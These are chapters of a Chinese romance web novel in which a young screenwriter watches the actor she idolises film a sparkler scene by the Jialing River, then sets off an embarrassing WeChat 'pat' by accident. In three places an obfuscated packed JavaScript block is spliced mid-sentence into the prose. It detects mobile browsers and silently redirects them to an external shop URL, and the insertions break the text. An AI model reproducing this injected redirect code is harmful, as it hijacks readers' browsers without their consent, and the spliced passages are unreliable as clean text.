有出入是必然的,但拍摄的专业领域,她自知远不如科班出身的陈序。专业的事,交给专业的人。她只需在一旁欣赏兼“监工”便好。 闻朝抬眼,对李言书笑了笑,“导演安排得很好,我没意见。” 李言书见状,也不再多说,转身将通告交还给导演。 一切准备就绪,拍摄正式开始。 数台摄像机齐齐对准中心的沈淮时,所有人的目光都聚焦在他身上。闻朝也不例外,但她只是安静地坐在监视器旁,神色平静,不露情绪。 借着监视器的遮挡,她的目光得以长久地、坦然地落在那个人身上。 “怎么样?你家男主角,演出了你笔下顾嘉言的味道没?”副导演张礼过来和陈序商量镜头角度,瞥见闻朝专注的目光,忍不住笑着打趣。 闻朝不好意思地抓了抓头发,诚实点头,“嗯,很像。” 恰好这条拍摄结束,沈淮时朝这边走来。闻朝立刻敛声。 他走到监视器后,看了看刚才的回放,微微颔首,似乎对自己这段表演还算 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17276088|198249||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 满意。 陈序显然也很满意,握着对讲机的声音都高昂了几分,“这条过了!准备下一条!” 拍摄持续了一整天,连午餐都是在临时搭建的棚子里解决的盒饭。伙食算不上丰盛,但也不差:两荤两素——糖醋排骨、小炒肉、麻婆豆腐、醋溜白菜。无论主演、客串、导演还是普通工作人员,吃的都是一样的标准,并无特殊待遇。 饭后,拍摄继续。闻朝坐在陈序旁边,忍不住打了个小小的哈欠。 “困了?”陈序笑着看她,“坚持一下,这是白天最后一条了。拍完大家先回酒店休息吃饭,夜景我们晚上七八点再来。” 闻朝有些不好意思地笑了笑,悄悄掐了自己一下提神。 不知过了多久,终于听到陈序那声令人振奋的“收工”,“好了!白天任务完成!大家先收拾东西回酒店休息,晚上七点半集合,拍完夜景今天就圆满结束了!” 工作人员开始整理器械。因为晚上还要回来,大部分设备就留在原地,只留几人看守。 沈淮时的助理还在休息室收拾东西,他本人则坐在一旁,与陈序低声交谈。 “我刚才去买奶茶,看到路边有个打卡路牌,写着‘我在嘉陵江很想你’,可惜急着回来,没来得及拍照。”桑华递给闻朝一杯温热的奶茶,语气略带遗憾,“等会儿出去我得补一张。” 闻朝接过奶茶喝了一口,浓郁的甜香在口中化开。她下意识用余光瞟了瞟沈淮时,见他正望着江面出神,而陈序走到不远处接起了电话。 她收回视线,装作随口闲聊,“那有‘我在重庆很想你’的路牌吗?” 桑华想了想,摇头,“来的时候没注意到,不过这种网红路牌,重庆应该不少地方都有吧?” 她说着,目光转向不远处的沈淮时,提高了些声音问道:“沈老师,你是重庆人,知道哪儿有‘我在重庆很想你’这种路牌吗?” 沈淮时闻声转过头,略显歉意地笑了笑,“这个……我还真不太清楚。重庆太大了,我不是每个角落都走过。” 闻朝一直留意着他,听到这个回答,几乎是脱口而出:“你不是重庆人吗?” 话一出口,她就后悔了。 沈淮时知道她没有恶意,反而被她的直接逗笑了,耐心解释道:“我是重庆人,但不代表我能认全重庆每一条街巷呀。” “噢噢……”闻朝尴尬地抿了抿唇,暗自懊恼自己嘴快。 “其实……我也是第一次真正来重庆。”她低着声音,“虽然以前总说着一定要来一次重庆好好看看,但之前总是因为各种事情耽搁了。” 沈淮时知道她是自己的粉丝,也明白因为自己的缘故,重庆成了许多粉丝心中一个特别的情结。总要亲身抵达一次,才算是为那段炙热的青春岁月落下最后一笔句号。 此刻听到闻朝的话,他心中不免泛起一丝微澜。但也只是微不可察地牵了牵嘴角,眼帘低垂,掩去了眸中一闪而过的复杂情绪,无人能窥见他此刻真正所想。 10. 要不要玩仙女棒 众人在酒店短暂休憩几小时后,再次返回剧组,进行当晚的最后一场拍摄。 这场戏,是书中公认的“心碎名场面”: 独自在外漂泊的顾嘉言,在大年三十阖家团圆之夜,一个人坐在嘉陵江边,燃放着一个陌生小女孩送他的、仅有的三根仙女棒。 雪花落满肩头,与他回眸时那破碎含泪的眼神,曾让无数读者在深夜辗转难眠。这一幕,也成了许多人心中挥之不去的“意难平”。曾有读者扬言,要买光全世界的仙女棒送给顾嘉言,还要找很多人陪他一起放。那样,他就不会孤单了。 陈序一见到闻朝,就迫不及待地将她拉到监视器后面,语气兴奋,“好好看着,这可是你的‘名场面’。” 看着导演脸上毫不掩饰的激动,闻朝默默在心里吐槽:导演,我知道你很兴奋,但请你先别这么兴奋…… 吐槽归吐槽,她还是依言安静地站在监视器后,目光紧紧追随着那个身着白色羽绒服的身影。 一切准备就绪,场记打板,对讲机里传来陈序清晰有力的指令:“Action!” 拍摄正式开始。 江边行人寥寥,道旁积雪渐厚。 沈淮时饰演的顾嘉言,裹着白色羽绒服,独自在江边踱步,身后留下一串孤寂的脚印。 江对岸的夜空骤然绽开绚丽的烟花。他停下脚步,仰头望向那场不属于他的盛大喧嚣。 远处人声鼎沸,热闹非凡,唯独他,静立于此,与周遭的欢腾格格不入。仿佛……世界的热闹与他无关,世界的喧哗与他无关,连那漫天华彩,也与他无关。 而他,被遗忘在了这片欢庆的边缘。 不知仰头凝望了多久,直到脖颈传来隐隐的酸涩,他才伸手从口袋里掏出那三根小女孩赠予的仙女棒。 几步开外,有一张被雪覆盖的长椅。他走过去,随手拂去一些积雪,便径直坐下,浑然不在意衣料是否会沾染湿冷。万幸羽绒服厚实,凉意并未透入。 他沉默片刻,掏出打火机,“咔嚓”一声轻响。 几秒后,仙女棒顶端迸发出细小而璀璨的金色光芒,一圈圈温暖的光晕,在他晦暗的心境里显得格外耀眼。 周遭的世界仿佛被按下了静音键,连远处烟花的轰鸣也变得遥远模糊。在他的感知里,只剩下手中这根仙女棒燃烧时细微的“噼啪”声。 烟花的光华属于千家万户,而这星星点点的光芒,此刻只属于他一个人。 三根仙女棒很快燃尽,光芒熄灭。 他依旧独自坐在长椅上,低下头,望着江面上倒映的、模糊晃动的烟花光影。明明灭灭的光线勾勒出他侧脸的轮廓,却让人看不清表情,只能瞥见他眼角一滴泪,缓缓滑落,不偏不倚,砸在脚边的雪地上,洇出一个小小的、深色的痕迹。 漫天的雪,无声飘落,覆盖着他,也覆盖着远处墨绿的松枝。 忽而一阵风过,吹落枝头一层积雪。 只是不知,被吹落的,是他肩头的寒意,还是松柏承受的霜白。 “卡!过了!这条绝了!”陈序洪亮的声音骤然响起,打破了现场沉浸在悲伤中的寂静。 所有人仿佛被从那个虚构的、令人心碎的世界里猛地拉回,不少人悄悄抬手,抹去眼角不自觉渗出的湿意。 然而,戏一结束,沈淮时却仿佛瞬间切换了模式。他几乎是蹦跳着跑到道具师身边,带着明朗的笑容问道:“还有仙女棒吗?再给我两把玩玩呗?” 这极致的反差让周围的工作人员都愣了一下,纷纷用难以置信的眼神看向那个笑得开心的男人。 这……真的是刚才那个让他们心疼到无以复加的人间白月光顾嘉言吗? 沈淮时似乎完全没注意到旁人讶异的目光,径直从爽快的道具师手里接过整整一袋印着烟花图案的仙女棒。 “导演,没我的戏了,我先去玩会儿!”他扬了扬手中的袋子,眼眸亮晶晶的,满是纯粹的欢快。 闻朝的视线一直追随着他,此刻看到他这般鲜活的模样,也不免有些怔忡。 陈序正忙着准备下一场戏,头也没抬,只是远远挥了挥手表示同意。 闻朝看了看身旁专注的导演和制片人,又望了望不远处开始点燃仙女棒、笑闹声隐隐传来的人群,心里默默想着:所以,他们都去玩了,而我还要留在这里“监工”吗…… 嘉陵江边空地广阔,沈淮时和助理许安选了个不远不近的位置,既不影响后续拍摄,又不至于离大部队太远。 相比于拍摄时那寒酸的三根,此刻他手里可是满满当当一大把,足够玩上好一阵了。一些暂时空闲的工作人员也受到感染,纷纷加入,江边一时间光影闪烁,笑声阵阵。 对许多人而言,燃放仙女棒,大概是深植于记忆深处的童年乐趣。逢年过节,缠着父母买上一把,在年夜饭后和小伙伴们举着闪烁的火光追逐嬉戏,是简单而明亮的快乐。 闻朝仍站在监视器后,目光却不由自主地飘向那个放着仙女棒的沈淮时。 他笑着,转动着手腕,燃烧的仙女棒划出明亮的光圈,不再是孤单的一个光点,绚丽而生动。 可明明发光的是仙女棒,她眼中映出的,却只有沈淮时。 人群中,他自带光芒。 “你也想去玩吗?”陈序察觉出闻朝的“身在曹营心在汉”,想着眼下暂时不需要她盯着,便开口道,“想去就去吧,跟他们一起玩玩。” 闻朝站在原地,显得有些手足无措,内心在犹豫。 “朝朝!快来啊!”正在放仙女棒的桑华远远看见她,热情地高举手臂挥舞招呼。 闻朝下意识看向陈序和制片人林青鹤,眼神带着询问。 “去吧,没事,这会儿不忙,最后一场戏了。”林青鹤看懂了她眼神里的不安,语气温和地安抚道。这个年纪轻轻便能写出如此动人故事的女孩,前途可期。而且,年纪小,爱玩也很正常。 “去玩吧,有需要再叫你。”陈序也笑着补充。 得到许可,闻朝心下安定,朝桑华的方向扬起声音回应:“来啦!” 看着她像只轻快的鸟儿跑向同伴,陈序失笑,对林青鹤说:“这丫头,还是有点拘谨,没完全把咱们当自己人。” 林青鹤点头表示赞同,“是啊,太腼腆了。” 另一边,桑华见闻朝过来,晃了晃手里不多的仙女棒,“我没拿太多,你要放吗?我再去给你要点?” “不用了,”闻朝连忙拉住她,“我看你们放就好。” 桑华看她神情不似客气,便作罢。 闻朝走到江边,望着细雪轻扬飘落,轻声感叹:“重庆的雪,真好看。” “好看吗?”桑华疑惑地伸出手,接住一片雪花,就着昏黄的路灯仔细端详。雪花在她温热的掌心迅速融化,她也没看出什么特别,忍不住嘟囔,“天下的雪,不都差不多嘛。” 闻朝没有解释,只是借着夜色的掩护,目光坦然又隐秘地投向不远处的沈淮时。 他背对着她,和剧组其他人笑闹着,虽看不见正脸,但那轻松的姿态足以说明他的开心。 这情景让她忽然想起一句著名的诗:“月色与雪色之间,你是第三种绝色。” 仿佛心有灵犀,沈淮时忽然毫无预兆地回过头。 闻朝心头一跳,慌忙移开视线,为了掩饰,她立刻拉住桑华,语速略快地开始说起不知所谓的八卦,连自己都不知道在说什么。 她自以为掩饰得很好,殊不知那瞬间的慌乱和此地无银的举动,在明眼人看来漏洞百出。 直到沈淮时拿着一把未拆封的仙女棒,走到她身边。 闻朝愣愣地低下头,看着他手中那一把细长的、裹着银纸的棒子。然后,她听见他的声音,带着清晰的笑意,在江风中响起,“小粉丝,要不要玩仙女棒? ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17276089|198249||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ” 她猛地抬头,直直撞入他含笑的眼眸。 在这一刻,嘉陵江的风是冷的,重庆的夜是黑的,只有她的脸颊,不受控制地发起烫来。 闻朝小心翼翼地接过他递来的仙女棒,暗自庆幸夜色浓重,足以掩盖她绯红的面颊。她低声嗫嚅:“谢谢。” 沈淮时看着她接过仙女棒后下意识后退半步的动作,心里微微一顿。他能感觉到,这个女孩内心充满矛盾,明明渴望靠近,却又总是在退缩。 因为她是他的粉丝。在《骤雪止》的字里行间,他也隐约读出了某些未曾言明的情感。所以,在这部电影的拍摄期间,他总是想多照顾她一些,以偶像对粉丝的感谢,以同行对伙伴的关照,或者,就像对待一个需要鼓励的妹妹。 桑华看看闻朝,又看看沈淮时,总觉得两人之间的气氛有些微妙,自己站在旁边显得格外突兀。于是她找了个借口,迅速逃离了这微妙的“二人空间”。 仙女棒已经拿在手里,总不能一直握着。闻朝摸了摸口袋,空空如也,既没有打火机,连火柴也没有一根。想开口求助,却又怕麻烦别人,话到嘴边,终究还是咽了回去,只是更紧地攥住了手中的仙女棒。 沈淮时察觉到了她的窘迫,看了看她紧握的仙女棒,恍然般笑了笑,“瞧我,忘了你没火。” 他说着,转身走向不远处的助理许安。不一会儿,拿着一个打火机走了回来。 他朝闻朝伸出手,“给我一支。” 闻朝抽出一支仙女棒递给他。沈淮时微微弯腰,用手拢着,“咔嚓”一声点燃。 几秒后,熟悉的金色光芒再度亮起。他将点燃的仙女棒不由分说地塞进闻朝手里,笑着催促,“转起来看看。” 闻朝依言,轻轻转动手腕,光芒划出美丽的圆弧。 一根燃尽,他又迅速点燃下一支,递给她。 闻朝接过第二根燃烧的仙女棒,却没有立刻转动。她看着手中跳跃的光点,犹豫片刻,还是抬起头,望向沈淮时,轻声问出了盘旋心底的疑惑,“你……为什么陪我放仙女棒?” 沈淮时定定地回望她,眼中笑意未减,回答得很自然,“因为你是我粉丝啊。陪小粉丝放个烟花,不是很正常吗?” 很正常吗?或许吧。 可是,她的心跳,在听到这个答案的瞬间,变得很不正常。 “收工啦各位!”陈序洪亮的声音穿透夜色传来,打断了闻朝未及出口的下一句话。 她抿了抿唇,手指无意识地摩挲着那根即将燃尽的仙女棒金属棒身,终究还是将到了嘴边的话咽了回去。 “老板,收工了。”助理许安和保镖拿着东西,站在几步外等候。 “知道了。”沈淮时应了一声,转回头对闻朝叮嘱道,“下班了,早点回去休息。晚上江边冷,注意别着凉。” “嗯。”闻朝只是低低应了一声。 那边助理还在等着,沈淮时见她仍站在原地,虽有些疑惑,但也没再多说什么,转身朝团队走去。 “老板,你和那位编剧老师……之前认识吗?”回程的车上,许安从后视镜看了看后方渐渐远去的江岸,还是没忍住,谨慎地提醒,“不管熟不熟,还是注意点分寸比较好,免得被拍到,引出不必要的误会。” 这可是经纪人杨姐千叮万嘱交给他的任务:守护好老板,杜绝一切潜在绯闻风险。 沈淮时正望着窗外流动的夜景,闻言顿了顿,语气平和地解释:“只是照顾一下小粉丝而已,不会有什么问题的。” 江边,人群渐渐散去。 闻朝独自站在原地,望着沈淮时离开的方向,直到那背影完全融入夜色。 许久,她才对着空寂的江风,用轻得几乎听不见的声音呢喃:“其实……重庆好看的从来不是雪。” 是你。 沈淮时,你比这世间所有的雪色,都要好看千千万万倍。 11. 见雪万万次 昨晚,重庆下了一场酣畅淋漓的大雪。厚重的雪将整座山城温柔覆盖,一夜之间,天地俱白,山城成了名副其实的“雪城”。 街头巷尾,寒气砭骨,行人踪迹寥寥。这场雪来得毫无预兆,连天气预报都未曾捕捉到它的先兆,仿佛只是天地间一场随心所欲、心血来潮的拜访。 此刻,雪花依旧簌簌飘落,无声无息。酒店房间里暖气开得很足,玻璃窗上因内外温差凝结了一层厚厚的白雾,模糊了外面的银装素裹。 闻朝赤脚走到窗边,冰凉的触感从脚底传来。她抬起手指,轻轻在那片迷蒙的白雾上划动。 指尖过处,雾气退散,留下清晰的痕迹。她写得很慢,一笔一划,像是在进行一场无声的仪式。 [沈淮时,平安顺遂。] 七个字,工工整整地出现在玻璃上,透过字的缝隙,能瞥见窗外依旧纷扬的雪。 正如那句话所说——车窗起雾时,我写下你的名字。 即便眼前并非车窗,她依然会毫不犹豫地写下这个名字,附上最朴素也最郑重的祈愿。 因为这份爱意,存在于随时,涌动于随刻,更真切地扎根于每一个“当下”。 然而,这场不期而至的暴雪,也给现实带来了麻烦。道路积雪过厚,多处交通近乎瘫痪,往来车辆只能以近乎荒诞的龟速缓慢挪动。 剧组拍摄地距离酒店有一段距离,大量设备需要从酒店运输到临时搭建的拍摄大棚,所需车辆众多。在如此恶劣的天气和路况下,运输计划只能被迫搁浅。 放在一旁的手机屏幕忽然亮起,是剧组的大群消息。 导演陈序发了个“哭丧脸”的表情:【各位,天公不作美,咱们今天就罢工一天吧。都注意安全,别往外跑,路滑。】 下面很快跟了一串回复。 桑华:【收到!正好补觉!(困)】 李言书:【已备好零食和剧,开启宅女模式。】 唐诗:【我在房间做拉伸,有谁想一起视频运动吗?(偷笑)】 闻朝看着屏幕上跳动的信息,指尖在键盘上停顿片刻,最终只打了一个简单的【收到,谢谢导演。】发送出去。 她下意识地点开那个熟悉的、几乎从不主动点开的聊天框,沈淮时的头像安静地躺在列表里。 指尖悬在屏幕上方,心跳莫名快了几拍。想说点什么?问问他是不是也在酒店?提醒他注意保暖?或者……分享一下窗外的雪景? 无数个念头升起又落下。最后,她只是轻轻退出对话框,点开了他的朋友圈。一如既往的简洁,最新一条还是一个月前,分享了一首纯音乐,没有配文,只有一颗小小的、孤零零的星星图案。 她退出来,锁上屏幕,将手机反扣。 有些界限,清晰如窗上凝结的冰花,美丽,却寒冷易碎。粉丝与偶像,编剧与主演,那条无形的线,她时刻谨记,不敢逾越分毫。能像昨晚那样,短暂地、因工作而自然地靠近,拥有片刻共同凝视仙女棒火光的记忆,已是命运的额外馈赠。 不能再贪心了。她在心里轻声告诫自己。 窗外,隐约能看见穿着荧光服的交警和市政工作人员在风雪中忙碌,撒盐车缓缓驶过,铲雪机的轰鸣时断时续,更多的人拿着铁锹在人工除雪。一场人与自然的“拉锯战”正在这座冰雪覆盖的城市里上演。 闻朝静静地站在窗前,望着外面那片被雪白色统治的世界,眉头不自觉地微微蹙起。 她并非厌恶雪天。相反,雪总能给她带来一种静谧的慰藉。 只是,今日这场雪,打乱了她原有的、小小的期盼。她本计划着,若雪不至于大到阻碍交通、耽误进度,她便想独自去重庆的街头走走,踩着新鲜的积雪,听脚下咯吱作响,或许再去某个热气腾腾的小店,点一碗暖身的汤。 但此刻,天命难违。 现实用一场铺天盖地的大雪,将她温柔地“困”在了这方寸之间。 她最终选择妥协,将自己陷进酒店柔软的被褥里。房间温暖如春,与外界的冰天雪地隔绝。她侧过身,目光仍能瞥见窗玻璃上那行渐渐被新雾气重新模糊的字迹。 也好。 她闭上眼睛,在心里对自己说。 既然无法在现实中踏雪而行,去见想见的人。 那就在心里,借着这场漫天飞舞的雪,与他见上万万次吧。 在每一次雪落的声音里,在每一片雪花的形状中,在每一寸被雪覆盖的、他可能走过的土地上。 让这场意外的雪,成为一场盛大的、仅属于她一个人的,无声的思念与重逢。 时间在寂静的雪天里流淌得格外缓慢。闻朝看了一会儿书,又处理了几封关于剧本细节的邮件。快到中午时,胃里传来轻微的饥饿感。 她走到窗边,窗上的字迹早已被新的雾气完全覆盖,白茫茫一片。雪似乎小了些,但天空依旧低沉,云层厚重。楼下的街道上,除雪工作仍在继续,橙色的工程车像玩具一样在白色的画布上缓慢移动。 酒店餐厅应该还开着。她换下睡衣,套上宽松的卫衣和羽绒马甲,想了想,又围上了那条厚厚的羊绒围巾,是宋枝去年织的,米白色,很暖和。 打开房门,走廊里静悄悄的,厚厚的地毯吸走了所有脚步声。她乘电梯下楼,电梯镜面映出她有些苍白的脸和沉静的眼眸。 餐厅里人不多,三三两两坐着些同样被风雪困住的剧组人员。暖气开得很足,空气里弥漫着食物温暖的香气。她取了些清淡的餐点,找了个靠窗的位置坐下。 刚吃了几口,对面忽然有人坐下。 “闻朝老师,一个人吃饭?”闻朝抬头,是沈淮时的助理许安。他端着餐盘,笑容礼貌而周到。 “许助理。”闻朝点点头,“嗯,沈老师……他也在餐厅吗?” “没有,老板他不太喜欢人多,让我帮他拿点上去。”许安解释道,语气随意,“这场雪真是下得突然,听说外面好些路都封了。” “是啊。”闻朝附和着,用筷子轻轻拨弄着碗里的米饭,“希望明天能顺利通车。” “应该问题不大,看群里说交警和市政都在全力抢通主干道。”许安说着,像是忽然想起什么,“对了,闻朝老师,昨天谢谢你。” “谢我?”闻朝疑惑。 “嗯,老板他……其实昨天白天拍完那戏,情绪有点沉在里面,下午回来休息的时候话特别少。”许安压低了点声音,“后来昨天晚上拍完那一场夜戏,他跑去放仙女棒,玩了一会儿,回来的时候感觉就好多了。我想,大概也是被你们热闹的气氛感染了吧。” 闻朝怔住。她想起昨夜沈淮时燃放仙女棒时明亮的笑容,原来那不仅仅是戏外的放松,也是一种自我情绪的抽离和调节。 “沈老师……很敬业。”她轻声说,心里涌起一阵复杂的情绪,有敬佩,也有细微的、说不清道不明的心疼。 “是啊,他一直这样。”许安笑了笑,很快结束了这个话题,转而聊了几句剧组里无关紧要的趣事。 吃完午饭,许安先行离开去给沈淮时送餐。闻朝又在窗边坐了一会儿,看着雪景发呆。 回到房间时,雪几乎停了。天空不再是沉郁的灰白,透出些许稀薄的亮色。她收到陈序在群里的最新通知,说明早根据路况再决定是否开工,让大家保持通讯畅通。 下午无所事事。闻朝洗了个热水澡,头发湿漉漉地披散着。她窝在沙发里,用平板电脑找了一部老电影,心不在焉地看着。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17276090|198249||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 电影里也在下雪。男女主角在雪中相遇,呵出的白气交织在一起。 她忽然想起,在宝轮寺求的那串十八籽手串,还放在行李箱的夹层里。她起身去找出来,深褐色的珠子,触手温润。 她拿起属于沈淮时的那一串,其实是她当时下意识多求的。想着也许,只是也许,将来能有某个合适的、不显突兀的时刻,可以送给他。 此刻,这串手串静静躺在掌心,仿佛承载着寺庙香火的气息和她未曾言明的祈愿。 她将它轻轻握紧,又松开,终究还是仔细收回了原处。 有些东西,求来已是心安。至于是否送出,何时送出,或许并不那么重要。 —— 傍晚时分,天空彻底放晴。夕阳的金晖艰难地穿透云层,为雪后的大地镀上一层浅金色的轮廓,冰冷而绚丽。远处建筑的玻璃幕墙反射着暖光,与未化的积雪交相辉映。 闻朝站在窗前,拍下了一张照片。 没有配文,只是纯粹地记录下这场意外的雪、这抹意外的晴光,以及这份被意外延长的、独处的静谧时光。 夜色渐深,窗外的灯火在雪后清澈的空气中显得格外明亮。闻朝窝在酒店房间的沙发里,身上盖着柔软的毛毯,手机屏幕的光映亮了她半张脸。 雪后的寂静放大了房间里的孤单感。闻朝在床上翻了个身,终究还是没忍住,拿起手机,点开了和宋枝、陆易安的三人小群。群名叫做【富婆俱乐部】。 闻朝发了个“[瘫倒]”的表情包。 宋枝秒回:【哟,我们的大编剧收工了?还是被重庆的大雪封印在酒店了?(吃瓜)】 陆易安紧随其后:【根据气象云图显示,重庆今夜暴雪红色预警。朝朝公主,请问被困城堡的感觉如何?】 闻朝忍不住笑了,指尖飞快:【感觉就是……闲得开始数窗外飘过的雪花有多少瓣了。】 宋枝:【哈哈哈哈哈!正好,快跟我们说说,跟组感觉怎么样?见到你家那位本尊,近距离接触,是不是每天肾上腺素飙升?(坏笑)】 陆易安:【+1!求细节!沈淮时私下是不是真像传说中那么温柔好相处?有没有什么不为人知的“真面目”?】 闻朝看着屏幕,脸颊微微发热。她翻了个身,趴在枕头上,开始慢吞吞地打字:【就……挺好的。拍戏很认真,私下……也挺好的。】 宋枝:【???就这?闻小朝,你这就叫“挺好的”?我要的是细节!细节懂吗!比如他今天穿了什么颜色的袜子!】 陆易安:【或者,他有没有不经意间对你流露出什么惊人的魅力,比如一个眼神杀?一次不经意的靠近?一句不经意的撩拨?(捧心)】 闻朝被她们俩的脑补弄得哭笑不得,但心底那份隐秘的、无人可说的雀跃与悸动,却又因为好友的追问而微微荡漾起来。 她犹豫了一下,还是分享了一些无关痛痒的细节,比如沈淮时拍戏时的专注,休息时会和工作人员开玩笑,对道具很爱护,以及……昨晚一起放了仙女棒。 宋枝:【!!!!仙女棒!!!这是什么偶像剧桥段!他亲手给你点的火??】 陆易安:【我宣布,这个画面已经在我脑子里自动生成了1080P高清唯美MV!bgm就配《雪落下的声音》!】 闻朝:【哪有那么夸张……就是碰巧,他看我没火,帮忙点了一下而已。很多人都在放。】 宋枝:【我不听我不听!四舍五入就是独家浪漫!朝朝,你这波不亏!】 陆易安:【所以,有没有趁机加个微信?私下聊聊天?(搓手手)】 闻朝的心猛地一跳。 微信……当然有,但她从没敢主动发过消息。 12. 沈淮时拍了拍我喊我沈淮时老婆 她的手指无意识地滑动着屏幕,退出了三人群聊的界面 微信的提示音接连响起,是闺蜜群的视频通话请求。 “来了来了。”她按下接听,屏幕上立刻弹出两张熟悉又活泼的脸。 “朝朝!怎么不回我们消息了?在重庆乐不思蜀了吧!”宋枝的大嗓门率先响起,背景是她家温暖明亮的客厅。 “闻小朝同志,坦白从宽,抗拒从严!放仙女棒之后的故事呢?你俩有没有微信?有没有聊过?”陆易安推了推并不存在的眼镜,做出一副审问的架势,眼里却闪着八卦的光芒。 闻朝忍不住笑起来,多日来的紧绷和独自在异乡的细微疏离感,在闺蜜们熟悉的笑闹中悄然融化。“有,因为工作加的好友而已。”她尽量让自己的语气听起来平静,但微微发亮的眼睛还是出卖了她。 “工作而已?少来!”宋枝嗤之以鼻,“快说说,昨晚放完仙女棒之后,你俩到底有没有聊过别的什么?比如今晚月色真美,或者风也温柔?” “对对对,有没有聊那晚的仙女棒,或者聊人生理想,诗词歌赋?”陆易安立刻跟上,两人一唱一和。 “你们想什么呢!”闻朝脸颊微热,嗔怪道,“沈老师人很好,很专业,也很照顾大家。私下……其实挺安静的,没有镜头前那么健谈。” “啧,听描述就是个谦逊低调的好青年嘛。”陆易安点评道,“不过朝朝,近水楼台啊,你可是编剧,多交流剧本,机会大大滴有!” “打住打住,”闻朝连忙摆手,“别乱说。他是偶像,我是粉丝兼工作人员,保持距离是最基本的。” “知道啦知道啦,我们也就私下说说。”宋枝笑着,“不过朝朝,能离自己的星星这么近,亲眼看到他工作的样子,已经很幸运啦。替你开心!” “嗯。”闻朝点点头,心底泛起暖意。和闺蜜们东拉西扯地聊着各自的生活,宋枝吐槽家里的催婚,陆易安分享实习遇到的奇葩事。 闻朝嘴角噙着未散的笑意,顺手点开了微信,想再看看剧组群里有没有新的通知。 指尖滑动列表,那个熟悉的、特殊的头像再次映入眼帘。 心跳,毫无预兆地快了一拍。 鬼使神差地,她点开了那个几乎主动打开过无数次,却从来没敢主动发过消息的聊天框。 想说点什么吗? “雪停了,路明天应该能通。” “沈老师,注意保暖。” “今天的雪景很漂亮。” 无数个简单又寻常的句子在脑海里打转,手指悬在输入框上方,却仿佛有千斤重。打出来,删掉;再打一句,再删掉。反复几次,最终还是一个字符都没留下。 太刻意了。她懊恼地想。以什么身份呢?粉丝的关心显得越界,编剧的问候又显得公事公办且没必要。他们之间的关系,还没到可以随意闲聊天气的程度。 她轻轻叹了口气,指尖无意识地在屏幕上滑动,不小心,真的只是不小心,手指落下时,轻轻“点”了两次他的头像。 微信的拍一拍功能被触发。 屏幕上立刻跳出一行小字:“你拍了拍‘沈淮时’并叫他迪迦亲哥哥。” 闻朝:“!!!” 她瞬间僵住,血液仿佛一下子冲上头顶,又迅速褪去,留下冰凉的尴尬和慌乱。天啊!她在干什么!怎么会不小心拍到他! 这种类似于“手滑”的互动,在普通朋友之间或许只是个无伤大雅的小玩笑,甚至带着点亲近的意味。但在她和沈淮时之间,这简直无异于一次“社交事故”!他会不会觉得奇怪?会不会觉得她冒失? 她手忙脚乱地想要长按撤回,可拍一拍并没有撤回选项。 就在她急得不知如何是好,恨不得把手机扔出窗外的时候,聊天框里,忽然出现了新的动静。 沈淮时那边,几乎是同时,也显示了一行拍一拍提示。 只不过,紧随其后的,是她早年沉迷设置微信拍一拍趣味后缀时,带着隐秘的、无人知晓的甜蜜和羞怯设置的那个: “沈淮时拍了拍‘我’并喊‘我’沈淮时老婆” !!!! 时间在那一刻凝固了。 拍了拍我喊我沈淮时老婆。 喊我沈淮时老婆…… 老婆…… 这几个字在闻朝眼前无限放大、旋转、轰鸣。 她脸上的表情瞬间僵硬,大脑“嗡”的一声陷入空白,仿佛有无数朵烟花在颅内炸开,却不是绚烂,而是社死的惨白。 丸辣!彻底完蛋了!隐秘多年的、少女心思里最羞赧也最大胆的“罪证”,以最愚蠢、最直白、最无可挽回的方式,直接拍在了正主脸上! “我完了……我死了……我没脸再活在地球上了……”闻朝的声音带着绝望的哭腔,整个人像被抽走了骨头,瘫软下去,又因巨大的窘迫而蜷缩起来,“我不小心拍了他……他、他也拍回来了……” “咋啦?他拍回来很正常啊,礼尚往来嘛。”宋枝还没反应过来。 “等等……”陆易安却若有所思,她突然想起什么她像是突然想起什么,迅速退出三方视频,点开闻朝的微信头像,试探性地拍了拍。 下一秒,她看到了那行熟悉的、令人扶额的拍一拍后缀。 “宋枝,”陆易安语气沉痛,实则是拼命压制住自己的狂笑地宣布,“她设置的拍一拍后缀是……‘喊我沈淮时老婆’。” 她怎么会忘了!她怎么会忘了自己曾经设置过这个! 可现在……它就这样,以最社死的方式,赤裸裸地、呈现在了当事人面前! 沈淮时……他看到了!他一定看到了! 他会怎么想?觉得这个小编剧是个疯狂的、不知分寸的私生饭?觉得她异想天开、内心戏太多?还是单纯觉得尴尬又好笑? 闻朝猛地将手机屏幕反扣在床上,仿佛这样就能抹掉刚才发生的一切。她蜷缩在床上,把发烫的脸埋进膝盖。 